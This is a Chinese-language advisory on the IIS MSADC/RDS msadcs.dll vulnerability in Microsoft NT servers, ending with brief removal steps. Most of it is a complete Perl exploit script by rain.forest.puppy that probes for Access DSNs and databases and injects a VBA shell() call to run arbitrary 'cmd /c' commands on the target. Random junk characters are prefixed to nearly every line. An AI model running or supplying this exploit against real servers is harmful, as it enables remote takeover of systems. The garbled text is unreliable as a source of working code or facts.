IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
u+U '|6)E hU 3z4|~+ 涉及程序：
K@0gBgN Microsoft NT server
G"_ 8 `l \W^+aNbv=8 描述：
e+_~a8 -| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
^F}HWpF_ FNQR sNi 详细：
~c;D@.e\ 如果你没有时间读详细内容的话，就删除:
\1 ^qfw c:\Program Files\Common Files\System\Msadc\msadcs.dll
N.j? : 有关的安全问题就没有了。
~\0uy3% $s[DT!8N 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
#zRT ss8de9T" ' 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
/CXrxeo 关于利用ODBC远程漏洞的描述，请参看:
n aQ0TN, *{/L7])gm http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /Ah |Po iJIDx9 )Z 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
d{~5tv- H http://www.microsoft.com/security/bulletins/MS99-025faq.asp O&ur |&v ue YBD]3 ' 这里不再论述。
w_*UFLMSqR 4 nIs+ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
vmV<PK- dcK7D d-> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#<^ngoOj 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Ax'jNol 8ec 6J*b i/Nd #将下面这段保存为txt文件，然后: "perl -x 文件名"
W ix/Az uU7s4oJ| #!perl
h` 1{tu #
y)5U*\b # MSADC/RDS 'usage' (aka exploit) script
f,e7;u z% #
"q-,140_ # by rain.forest.puppy
X={n9*Sd8 #
c 5 jd
q[0 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
d|nJp-%V # beta test and find errors!
?O]iX;2vM > x$eKN use Socket; use Getopt::Std;
Sk'S`vH getopts("e:vd:h:XR", \%args);
cq r4P`Oj 9} \{0;9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8SG* 7[ T7 3,7SGt
r if (!defined $args{h} && !defined $args{R}) {
a N87 ^ [ print qq~
!jV}sp<Xp Usage: msadc.pl -h <host> { -d <delay> -X -v }
RsY7 F; -h <host> = host you want to scan (ip or domain)
`#X\@?'5 -d <seconds> = delay between calls, default 1 second
0cd`. Z F -X = dump Index Server path table, if available
( k@%04c -v = verbose
w]BZgF. -e = external dictionary file for step 5
b IS 3 h^u 9W7. Or a -R will resume a command session
p@/i e@DX .x
1& ~; exit;}
rQW&$M 3EM=6\#q $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
`ViF Y
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
n+ C,v.X if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
LLa72HW if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3C=| $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
SBj9sFZ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
U\_-GS;1 =bVaB<! if (!defined $args{R}){ $ret = &has_msadc;
U[!x
0M die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
9M$=X- "y %S.ipWG print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5 #v . "cmd /c ";
/uTU*Oe $in=<STDIN>; chomp $in;
B&tU~ $command="cmd /c " . $in ;
%T.4A j dkz79G}e if (defined $args{R}) {&load; exit;}
? qn0] . hkS K; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
kW 'xuZ& &try_btcustmr;
kfod[* 3 2{<5?Op print "\nStep 2: Trying to make our own DSN...";
:/Zy=F9: &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
X,zqI 8x`? Yc print "\nStep 3: Trying known DSNs...";
2>E .Q@c &known_dsn;
i.0}d5Y *3S ./ C} print "\nStep 4: Trying known .mdbs...";
l.DC20bs &known_mdb;
' >GZB L_>j
SP if (defined $args{e}){
Z3ucJH/)V print "\nStep 5: Trying dictionary of DSN names...";
Ab]`*h\U &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
wKjL}1.k MjO.s+I print "Sorry Charley...maybe next time?\n";
rtl|zCst exit;
PMDx5-{A/t jIZpv|t) ##############################################################################
07zbx6:t l s(lL\ sub sendraw { # ripped and modded from whisker
~*Fbs! ;, sleep($delay); # it's a DoS on the server! At least on mine...
CS:"F) at my ($pstr)=@_;
ebb C`eFD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
c ,$ >u,4 die("Socket problems\n");
B( ]=I@L=W if(connect(S,pack "SnA4x8",2,80,$target)){
A4}6hG# select(S); $|=1;
gAy,uP~, print $pstr; my @in=<S>;
K_@[% select(STDOUT); close(S);
$6BD6\@ return @in;
Gw"H#9J}
T } else { die("Can't connect...\n"); }}
DE GEr- x Z 3b)j2D ##############################################################################
*vx!twu1o we<m%pf sub make_header { # make the HTTP request
+="?[: my $msadc=<<EOT
Iz'*^{Ssm POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!N6/l5 kn User-Agent: ACTIVEDATA
Up61Xn Host: $ip
k<mfBNvuo Content-Length: $clen
"=7y6bM Connection: Keep-Alive
xLfx/&2 Kh)SgJ3B@ ADCClientVersion:01.06
b%w?YR Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[B} $U|V0 g bP]!d:I --!ADM!ROX!YOUR!WORLD!
Ax D&_G T Content-Type: application/x-varg
kPN:m ow Content-Length: $reqlen
uG1)cm
B} Y lI/~J EOT
`0@onDQVc= ; $msadc=~s/\n/\r\n/g;
/8S g< return $msadc;}
fc'NU(70c @M [t| ##############################################################################
(Rqn)<<2 Ap&Bwo 8b sub make_req { # make the RDS request
dgLE/r? my ($switch, $p1, $p2)=@_;
\KlO j%s my $req=""; my $t1, $t2, $query, $dsn;
S4/CL4= !J 3dlUFRO if ($switch==1){ # this is the btcustmr.mdb query
q po3b7(N $query="Select * from Customers where City=" . make_shell();
,KXS6:1%5Y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
)aW;w |#n $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
wS*An4%G K{eq'F5M elsif ($switch==2){ # this is general make table query
7Eo a~ $query="create table AZZ (B int, C varchar(10))";
{rQ SB;3 $dsn="$p1";}
]>E)0<t D0 'L elsif ($switch==3){ # this is general exploit table query
L&[uE;r o $query="select * from AZZ where C=" . make_shell();
Fa}3UVm $dsn="$p1";}
J{W <6AK\S f(Vr &X elsif ($switch==4){ # attempt to hork file info from index server
U)Cv_qe $query="select path from scope()";
i%jti6z$Hr $dsn="Provider=MSIDXS;";}
h n: - YF]k}| elsif ($switch==5){ # bad query
,>6s~' $query="select";
^_6.*Mvx $dsn="$p1";}
sEpY&6* Z=VAjJ;i[ $t1= make_unicode($query);
Igo wz7 $t2= make_unicode($dsn);
K `|%-k+D $req = "\x02\x00\x03\x00";
jV 83%%e $req.= "\x08\x00" . pack ("S1", length($t1));
8lG@8tbW^ $req.= "\x00\x00" . $t1 ;
-+^E5 $req.= "\x08\x00" . pack ("S1", length($t2));
zZ rUS'8 $req.= "\x00\x00" . $t2 ;
f+#^Lngo $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
rkdf htpI return $req;}
*D&(6$[ ^ W _ w^"' ##############################################################################
$a'n{ EP ^gP pmb<x sub make_shell { # this makes the shell() statement
,BGaJ|k return "'|shell(\"$command\")|'";}
A *;I}F ya[][!.G ##############################################################################
3q{op9_T7 [)K? e!c8 sub make_unicode { # quick little function to convert to unicode
El3Y1g3+3 my ($in)=@_; my $out;
\k?Fu=@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
5F #Q1gP- return $out;}
BCH{0w^D }.j<kmd ##############################################################################
b`?$;5 oMM+af sub rdo_success { # checks for RDO return success (this is kludge)
ZCdlTdY my (@in) = @_; my $base=content_start(@in);
i98>=y ~ if($in[$base]=~/multipart\/mixed/){
y~,mIM$[@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
>LvQ&fAo return 0;}
(o+(YV^ Q-scL>IkCb ##############################################################################
$
{Y? jJ &Nvva qJ sub make_dsn { # this makes a DSN for us
dMo456L my @drives=("c","d","e","f");
A .]o&S} print "\nMaking DSN: ";
: ,0F_["3 foreach $drive (@drives) {
_!vxX ] print "$drive: ";
R 07 7eX my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
r]GG9si "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
]r]= Q"/5 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
t 0 $} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
;5i~McH#
t return 0 if $2 eq "404"; # not found/doesn't exist
+4 8a..4sN if($2 eq "200") {
r&$r=f< foreach $line (@results) {
J.nJ@?O+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
*{_WM}G } return 0;}
QqpXUyHp[ F]_w~1
n5 ##############################################################################
}6U`/"RfcO zk\YW'x|r sub verify_exists {
dRl*rP/ my ($page)=@_;
Wt$" f my @results=sendraw("GET $page HTTP/1.0\n\n");
4z {jWNM)N return $results[0];}
28/At 2[^p6s[ ##############################################################################
$2tPqZ> y `)oD0)Fj sub try_btcustmr {
$ mH'%YDIl my @drives=("c","d","e","f");
_9y my @dirs=("winnt","winnt35","winnt351","win","windows");
mpsi{%gA
w$E8R[J~P foreach $dir (@dirs) {
6[\b]I\Q print "$dir -> "; # fun status so you can see progress
G54,`uz2 foreach $drive (@drives) {
k15fy"+Ut print "$drive: "; # ditto
`E @TPdu $reqlen=length( make_req(1,$drive,$dir) ) - 28;
@ V_@r@A $reqlenlen=length( "$reqlen" );
p\>im +0oh $clen= 206 + $reqlenlen + $reqlen;
Mg7nv\6 #$W bYL| my @results=sendraw(make_header() . make_req(1,$drive,$dir));
(x+C =1, if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
W
zKaLyM else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
am+'j5`Ys } `X.^}oe ##############################################################################
\J)ffEKIp EWU(Al T sub odbc_error {
_^Ds[VAgA my (@in)=@_; my $base;
+{e Z@ my $base = content_start(@in);
G1 :*F8q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7W7!X\0Y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f:w #r.] $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!= @U~X|cu $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qG Ab h return $in[$base+4].$in[$base+5].$in[$base+6];}
tf:4}6P1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
X+R?>xq{=h print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
wZAY0@pA $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
I: j!A lZ\Si ##############################################################################
*8WcRx >TnV
Lx< sub verbose {
E~b Yk 6 my ($in)=@_;
2r 0u[ return if !$verbose;
KS9 e V print STDOUT "\n$in\n";}
rM{3]v{~ ptA-rX. ##############################################################################
Ts~MkO z~ Ec * sub save {
|aaoi4OJ my ($p1, $p2, $p3, $p4)=@_;
7H,p/G?]k open(OUT, ">rds.save") || print "Problem saving parameters...\n";
\v *WI)] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
AV t(e6H close OUT;}
C>A*L4c]F CH`_4UAX% ##############################################################################
=7*k>]o ~ 9tPT 0^+ sub load {
A,WZ}v}_ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{I]X-+D|_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
e >FK5rz @p=<IN>; close(IN);
n MBKZ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
GfG!CG^ % $target= inet_aton($ip) || die("inet_aton problems");
,j'>}'wG) print "Resuming to $ip ...";
\nX5 $[ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
xM #+jI if($p[1]==1) {
D bL=2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ne~=^IRB $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
xDJs0 P4 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
pOe "S if (rdo_success(@results)){print "Success!\n";}
m\Xgvpv rP else { print "failed\n"; verbose(odbc_error(@results));}}
3 T<aGW1 elsif ($p[1]==3){
EWr8=@iU if(run_query("$p[3]")){
03{pxI print "Success!\n";} else { print "failed\n"; }}
2v;F@fUB. elsif ($p[1]==4){
O< \i{4}} if(run_query($drvst . "$p[3]")){
nWyn}+C- print "Success!\n"; } else { print "failed\n"; }}
NDmTxW#g exit;}
5y1:oiE/ RTEzcJ> ##############################################################################
_xyq25/ S(c&XJR sub create_table {
;(Xig$k my ($in)=@_;
p ow.@ $reqlen=length( make_req(2,$in,"") ) - 28;
]:6M!+?( $reqlenlen=length( "$reqlen" );
{e1ak g. $clen= 206 + $reqlenlen + $reqlen;
=:5 o"g my @results=sendraw(make_header() . make_req(2,$in,""));
%]iDhXL r return 1 if rdo_success(@results);
V"r2 t9A my $temp= odbc_error(@results); verbose($temp);
zS6oz = return 1 if $temp=~/Table 'AZZ' already exists/;
Kb/w+J
S return 0;}
`E4+#_ v
3g# ##############################################################################
BbV @ziL d7*fP S sub known_dsn {
Rl%?c5U/$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
: }q~< my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
_UqE
-+& "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
%#zqZ|q "banner", "banners", "ads", "ADCDemo", "ADCTest");
UP})j.z m"r=p foreach $dSn (@dsns) {
"6<L)
8 print ".";
:O~*}7G next if (!is_access("DSN=$dSn"));
lo!.%PP| if(create_table("DSN=$dSn")){
9CxFj)#5F print "$dSn successful\n";
V/8"@C if(run_query("DSN=$dSn")){
DUAI print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_!} L\E ~ print "Something's borked. Use verbose next time\n";}}} print "\n";}
!97k TrEo5H ; ##############################################################################
uE] k v t@Bl3Nt{ sub is_access {
ZliJc7lss my ($in)=@_;
`L=d72: $reqlen=length( make_req(5,$in,"") ) - 28;
[@PD[-2QG3 $reqlenlen=length( "$reqlen" );
>,&@j,?'] $clen= 206 + $reqlenlen + $reqlen;
o-f;$]yp> my @results=sendraw(make_header() . make_req(5,$in,""));
==?!z<I.d my $temp= odbc_error(@results);
|BC/ERm s verbose($temp); return 1 if ($temp=~/Microsoft Access/);
d<@SRHP( return 0;}
^_Ap?zn b":3J)Y6. ##############################################################################
G|h@O' $ncJc sub run_query {
c u~\&3 R my ($in)=@_;
,?k~>,{3 $reqlen=length( make_req(3,$in,"") ) - 28;
z87_/ (nu $reqlenlen=length( "$reqlen" );
)v+R+ 3< $clen= 206 + $reqlenlen + $reqlen;
#3h~Z)+y my @results=sendraw(make_header() . make_req(3,$in,""));
E;vF
:?| return 1 if rdo_success(@results);
68
*~5] my $temp= odbc_error(@results); verbose($temp);
: CR1Oy 9 return 0;}
,2R7 AHk \uUd * ##############################################################################
us0{y7(p B'kV.3t sub known_mdb {
uYu/0fQD my @drives=("c","d","e","f","g");
H/I1 n\ my @dirs=("winnt","winnt35","winnt351","win","windows");
F70_N($i my $dir, $drive, $mdb;
O.HaEg/- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
MB:VACCr ^hN. FIzM # this is sparse, because I don't know of many
O 7x'q<PFU my @sysmdbs=( "\\catroot\\icatalog.mdb",
2`ED?F68gH "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@'ln)RT, "\\system32\\certmdb.mdb",
Shm $>\~= "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
-{=c T?"+ IcDAl~uG my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
l[cBDNlrC; "\\cfusion\\cfapps\\forums\\forums_.mdb",
|
WN9& "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
nbhzLUK "\\cfusion\\cfapps\\security\\realm_.mdb",
{Iu9%uR>@ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
VY#:IE:T "\\cfusion\\database\\cfexamples.mdb",
iax6o+OG| "\\cfusion\\database\\cfsnippets.mdb",
@ a $HJ : "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
TSp;Vr OP "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]\8{z" "\\cfusion\\brighttiger\\database\\cleam.mdb",
j &qJK,~ "\\cfusion\\database\\smpolicy.mdb",
`Qg#` "\\cfusion\\database\cypress.mdb",
r{Stsha( "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
*GMs>" C "\\website\\cgi-win\\dbsample.mdb",
V. f'Cw "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"92Z"I~1 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
=D"H0w <zw ); #these are just
6 pQbh* foreach $drive (@drives) {
$d +n},[C{ foreach $dir (@dirs){
,O;+fhUJ( foreach $mdb (@sysmdbs) {
^UJ#YRzi print ".";
`"#0 \Wh if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
zq?Iwyo print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
L
2Z9g`> if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
1,/L&_=_A print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
m$U rY(6d
} else { print "Something's borked. Use verbose next time\n"; }}}}}
{Y p;R .AzGPcJY foreach $drive (@drives) {
F[65)"^ foreach $mdb (@mdbs) {
} $zJdf,\ print ".";
"V> 7u{T if(create_table($drv . $drive . $dir . $mdb)){
#;#r4sJwU print "\n" . $drive . $dir . $mdb . " successful\n";
L+b"d3!G&% if(run_query($drv . $drive . $dir . $mdb)){
&M6cCT]&M print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
VHUOI64* } else { print "Something's borked. Use verbose next time\n"; }}}}
2S{IZ] }
6$l6 >A 2Q/#.lNL ##############################################################################
qUMM}ls bO:m ^* sub hork_idx {
o YZmz print "\nAttempting to dump Index Server tables...\n";
HVz,l iq print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
bN',-[E $reqlen=length( make_req(4,"","") ) - 28;
.).*6{ _ $reqlenlen=length( "$reqlen" );
`c-(1 ;Jb $clen= 206 + $reqlenlen + $reqlen;
~5f|L(ODX my @results=sendraw2(make_header() . make_req(4,"",""));
5X'com?T if (rdo_success(@results)){
2qY+-yOEt my $max=@results; my $c; my %d;
\qU .?V[2 for($c=19; $c<$max; $c++){
= h"*1` $results[$c]=~s/\x00//g;
Mv O!p $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
IIW6;jS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
1 ^k# g, $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
;h
}^f- $d{"$1$2"}="";}
dF- d foreach $c (keys %d){ print "$c\n"; }
wW1E
' Vy{ } else {print "Index server doesn't seem to be installed.\n"; }}
e+ZC<Bdh 6-'Y* ##############################################################################
XP$ 1CWI -i}@o1o\ sub dsn_dict {
b,7@)sZ* open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9=-!~ _'1- while(<IN>){
wF`9}9q $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
abvA*| next if (!is_access("DSN=$dSn"));
),K!| 7#h if(create_table("DSN=$dSn")){
~TGk`cAM> print "$dSn successful\n";
6
s+ Z if(run_query("DSN=$dSn")){
dB^')-wA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-ty_<m] print "Something's borked. Use verbose next time\n";}}}
mB:I8g7 print "\n"; close(IN);}
m>@ $T
x CDz-IQi ##############################################################################
n-cz xq%n Xu 1tN9:oE sub sendraw2 { # ripped and modded from whisker
h.\9a3B:r sleep($delay); # it's a DoS on the server! At least on mine...
f"0{e9O]2 my ($pstr)=@_;
o~Im5j],* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
mh4NZ @; die("Socket problems\n");
#hBDOXH Pf if(connect(S,pack "SnA4x8",2,80,$target)){
qP"<vZ print "Connected. Getting data";
*+E9@r=HF open(OUT,">raw.out"); my @in;
D\:~G}M select(S); $|=1; print $pstr;
6^L4wd7) while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
"~f=7
close(OUT); select(STDOUT); close(S); return @in;
\mt0mv;c } else { die("Can't connect...\n"); }}
d45JT?qg& ?1I0V A'] ##############################################################################
Mb I';Mq 8: KlU(J sub content_start { # this will take in the server headers
V0 ]6F my (@in)=@_; my $c;
Ef;OrE"" for ($c=1;$c<500;$c++) {
@Y#{[@Hp% if($in[$c] =~/^\x0d\x0a/){
ypuW}H%` if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$=j}JX}z else { return $c+1; }}}
T1@]:`& return -1;} # it should never get here actually
Y dgaZJs LWb5C{ ##############################################################################
T/^ /U6JB # _ tixg sub funky {
2 <aBUGA my (@in)=@_; my $error=odbc_error(@in);
pv JsSX if($error=~/ADO could not find the specified provider/){
)ow|n^D($M print "\nServer returned an ADO miscofiguration message\nAborting.\n";
T/%s7!E exit;}
\h%/Cp+p if($error=~/A Handler is required/){
x)h p3&L print "\nServer has custom handler filters (they most likely are patched)\n";
x. 7Ln9 exit;}
Y%UfwbX!g if($error=~/specified Handler has denied Access/){
_fH.#C print "\nServer has custom handler filters (they most likely are patched)\n";
o0>z6Ya< exit;}}
uC>X;<^ 5]WpH0kzO ##############################################################################
* Yr)>;^ g`jO sub has_msadc {
xQ
`>\f my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
t`
R#pQ my $base=content_start(@results);
/{ . return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
bP`.teO \ return 0;}
<Gy)|qpK[ 0R,?$qM\ ########################
VP$ `.y 'm@0[ i "28b&pm 解决方案：
i; 1aobG 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
/5@V $c8 2、移除web 目录: /msadc
